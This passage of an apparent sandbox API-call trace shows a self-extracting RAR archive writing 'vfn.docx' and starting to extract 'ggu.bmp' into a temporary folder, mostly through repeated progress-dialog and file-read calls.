0x1f9e8 [0068.001] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.001] ReadFile (in: hFile=0x1c, lpBuffer=0x27047b, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27047b*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.001] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.002] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.002] GetTickCount () returned 0x1f9e8 [0068.002] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.002] ReadFile (in: hFile=0x1c, lpBuffer=0x27047b, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27047b*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.002] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.002] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.002] GetTickCount () returned 0x1f9e8 [0068.002] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.002] ReadFile (in: hFile=0x1c, lpBuffer=0x27047b, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27047b*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.002] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.002] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.002] GetTickCount () returned 0x1f9e8 [0068.002] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.002] ReadFile (in: hFile=0x1c, lpBuffer=0x27047b, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27047b*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.002] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.002] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.002] GetTickCount () returned 0x1f9e8 [0068.002] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.002] ReadFile (in: hFile=0x1c, lpBuffer=0x27047b, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27047b*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.002] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.002] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.002] GetTickCount () returned 0x1f9e8 [0068.002] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.002] ReadFile (in: hFile=0x1c, lpBuffer=0x27047b, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27047b*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.002] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.002] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.002] GetTickCount () returned 0x1f9e8 [0068.002] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.002] ReadFile (in: hFile=0x1c, lpBuffer=0x27047b, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27047b*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.002] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.002] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.002] GetTickCount () returned 0x1f9e8 [0068.002] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.002] ReadFile (in: hFile=0x1c, lpBuffer=0x27047b, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27047b*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.002] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.002] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.002] GetTickCount () returned 0x1f9e8 [0068.002] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.002] ReadFile (in: hFile=0x1c, lpBuffer=0x27047b, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27047b*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.002] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.002] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.002] GetTickCount () returned 0x1f9e8 [0068.002] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.002] ReadFile (in: hFile=0x1c, lpBuffer=0x27047b, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27047b*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.002] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.002] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.002] GetTickCount () returned 0x1f9e8 [0068.002] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.003] ReadFile (in: hFile=0x1c, lpBuffer=0x27047b, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27047b*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.003] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.003] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.003] GetTickCount () returned 0x1f9f7 [0068.003] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.003] ReadFile (in: hFile=0x1c, lpBuffer=0x27047b, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27047b*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.003] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.003] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.003] GetTickCount () returned 0x1f9f7 [0068.003] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.003] ReadFile (in: hFile=0x1c, lpBuffer=0x27047b, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27047b*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.003] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.003] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.003] GetTickCount () returned 0x1f9f7 [0068.003] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.003] ReadFile (in: hFile=0x1c, lpBuffer=0x27047b, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27047b*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.003] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.003] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.003] GetTickCount () returned 0x1f9f7 [0068.003] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.003] ReadFile (in: hFile=0x1c, lpBuffer=0x27047b, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27047b*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.003] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.003] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.003] GetTickCount () returned 0x1f9f7 [0068.003] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.003] ReadFile (in: hFile=0x1c, lpBuffer=0x27047b, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27047b*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.003] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.003] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.003] GetTickCount () returned 0x1f9f7 [0068.003] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.003] ReadFile (in: hFile=0x1c, lpBuffer=0x27047b, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27047b*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.003] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.003] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.003] GetTickCount () returned 0x1f9f7 [0068.003] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.003] ReadFile (in: hFile=0x1c, lpBuffer=0x27047b, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27047b*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.003] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.003] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.003] GetTickCount () returned 0x1f9f7 [0068.003] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.003] ReadFile (in: hFile=0x1c, lpBuffer=0x27047b, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27047b*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.004] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.004] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.004] GetTickCount () returned 0x1f9f7 [0068.004] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.004] ReadFile (in: hFile=0x1c, lpBuffer=0x27047b, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27047b*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.004] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.004] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.004] GetTickCount () returned 0x1f9f7 [0068.004] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.004] ReadFile (in: hFile=0x1c, lpBuffer=0x27047b, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27047b*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.004] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.004] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.004] GetTickCount () returned 0x1f9f7 [0068.004] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.004] ReadFile (in: hFile=0x1c, lpBuffer=0x27047b, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27047b*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.004] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.004] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.004] GetTickCount () returned 0x1f9f7 [0068.004] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.004] ReadFile (in: hFile=0x1c, lpBuffer=0x27047b, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27047b*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.004] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.004] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.004] GetTickCount () returned 0x1f9f7 [0068.004] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.004] ReadFile (in: hFile=0x1c, lpBuffer=0x27047b, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27047b*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.004] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.004] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.004] GetTickCount () returned 0x1f9f7 [0068.004] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.004] ReadFile (in: hFile=0x1c, lpBuffer=0x27047b, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27047b*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.004] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.004] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.004] GetTickCount () returned 0x1f9f7 [0068.004] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.004] ReadFile (in: hFile=0x1c, lpBuffer=0x27047b, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27047b*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.004] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.004] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.004] GetTickCount () returned 0x1f9f7 [0068.004] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.004] WriteFile (in: hFile=0x138, lpBuffer=0x2e40020*, nNumberOfBytesToWrite=0x26f, lpNumberOfBytesWritten=0x171564, lpOverlapped=0x0 | out: lpBuffer=0x2e40020*, lpNumberOfBytesWritten=0x171564*=0x26f, lpOverlapped=0x0) returned 1 [0068.005] GetTickCount () returned 0x1f9f7 [0068.005] PeekMessageW (in: lpMsg=0x171554, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171554) returned 0 [0068.005] SetFilePointer (in: hFile=0x1c, lDistanceToMove=857460, lpDistanceToMoveHigh=0x1715e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715e8*=0) returned 0xd1574 [0068.005] SystemTimeToFileTime (in: lpSystemTime=0x1715b8, lpFileTime=0x1715c8 | out: lpFileTime=0x1715c8) returned 1 [0068.005] LocalFileTimeToFileTime (in: lpLocalFileTime=0x1715c8, lpFileTime=0x1715f8 | out: lpFileTime=0x1715f8) returned 1 [0068.005] SetFileTime (hFile=0x138, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1715f8) returned 1 [0068.005] CloseHandle (hObject=0x138) returned 1 [0068.006] SetFileAttributesA (lpFileName="vfn.docx", dwFileAttributes=0x20) returned 1 [0068.006] SetFilePointer (in: hFile=0x1c, lDistanceToMove=0, lpDistanceToMoveHigh=0x17410c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17410c*=0) returned 0xd1574 [0068.006] ReadFile (in: hFile=0x1c, lpBuffer=0x2590a8, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x1740c4, lpOverlapped=0x0 | out: lpBuffer=0x2590a8*, lpNumberOfBytesRead=0x1740c4*=0x7, lpOverlapped=0x0) returned 1 [0068.006] ReadFile (in: hFile=0x1c, lpBuffer=0x25a8cf, nNumberOfBytesToRead=0x25, lpNumberOfBytesRead=0x1740c4, lpOverlapped=0x0 | out: lpBuffer=0x25a8cf*, lpNumberOfBytesRead=0x1740c4*=0x25, lpOverlapped=0x0) returned 1 [0068.006] OemToCharA (in: pSrc="ggu.bmp", pDst=0x179cc0 | out: pDst="ggu.bmp") returned 1 [0068.006] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=1, lpString2="ggu.bmp", cchCount2=1) returned 1 [0068.006] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="__rar_", cchCount1=6, lpString2="ggu.bmp", cchCount2=6) returned 1 [0068.007] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=-1, lpString2="ggu.bmp", cchCount2=-1) returned 1 [0068.007] SetFilePointer (in: hFile=0x1c, lDistanceToMove=857504, lpDistanceToMoveHigh=0x1715ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715ec*=0) returned 0xd15a0 [0068.007] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x174aec, cbMultiByte=-1, lpWideCharStr=0x170dfc, cchWideChar=1024 | out: lpWideCharStr="ggu.bmp") returned 8 [0068.007] LoadStringW (in: hInstance=0x400000, uID=0x65, lpBuffer=0x4192b8, cchBufferMax=512 | out: lpBuffer="Extracting %s") returned 0xd [0068.007] wvsprintfW (in: param_1=0x1701fc, param_2="Extracting %s", arglist=0x1701f8 | out: param_1="Extracting ggu.bmp") returned 18 [0068.007] SetDlgItemTextW (hDlg=0x20216, nIDDlgItem=101, lpString="Extracting ggu.bmp") returned 1 [0068.007] PeekMessageW (in: lpMsg=0x1701d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1701d8) returned 0 [0068.007] OemToCharBuffA (in: lpszSrc="g", lpszDst=0x17160c, cchDstLength=0x1 | out: lpszDst="g") returned 1 [0068.007] CharToOemBuffA (in: lpszSrc="G", lpszDst=0x171600, cchDstLength=0x1 | out: lpszDst="G") returned 1 [0068.007] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x181870, cbMultiByte=-1, lpWideCharStr=0x170b94, cchWideChar=16777216 | out: lpWideCharStr="ggu.bmp") returned 8 [0068.007] FindFirstFileW (in: lpFileName="ggu.bmp", lpFindFileData=0x171394 | out: lpFindFileData=0x171394) returned 0xffffffff [0068.007] GetLastError () returned 0x2 [0068.007] GetFileAttributesA (lpFileName="ggu.bmp" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ggu.bmp")) returned 0xffffffff [0068.007] CreateFileA (lpFileName="ggu.bmp" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ggu.bmp"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x138 [0068.007] GetFileType (hFile=0x138) returned 0x1 [0068.007] SetFilePointer (in: hFile=0x138, lDistanceToMove=538, lpDistanceToMoveHigh=0x1715f0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715f0*=0) returned 0x21a [0068.007] SetEndOfFile (hFile=0x138) returned 1 [0068.007] SetFilePointer (in: hFile=0x138, lDistanceToMove=0, lpDistanceToMoveHigh=0x1715dc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715dc*=0) returned 0x0 [0068.007] ReadFile (in: hFile=0x1c, lpBuffer=0x270288, nNumberOfBytesToRead=0x1b9, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270288*, lpNumberOfBytesRead=0x171578*=0x1b9, lpOverlapped=0x0) returned 1 [0068.007] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.007] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.008] GetTickCount () returned 0x1f9f7 [0068.008] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.008] ReadFile (in: hFile=0x1c, lpBuffer=0x270441, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270441*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.008] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.008] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.008] GetTickCount () returned 0x1f9f7 [0068.008] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.008] ReadFile (in: hFile=0x1c, lpBuffer=0x270441, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270441*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.008] SendDlgItemMessageW 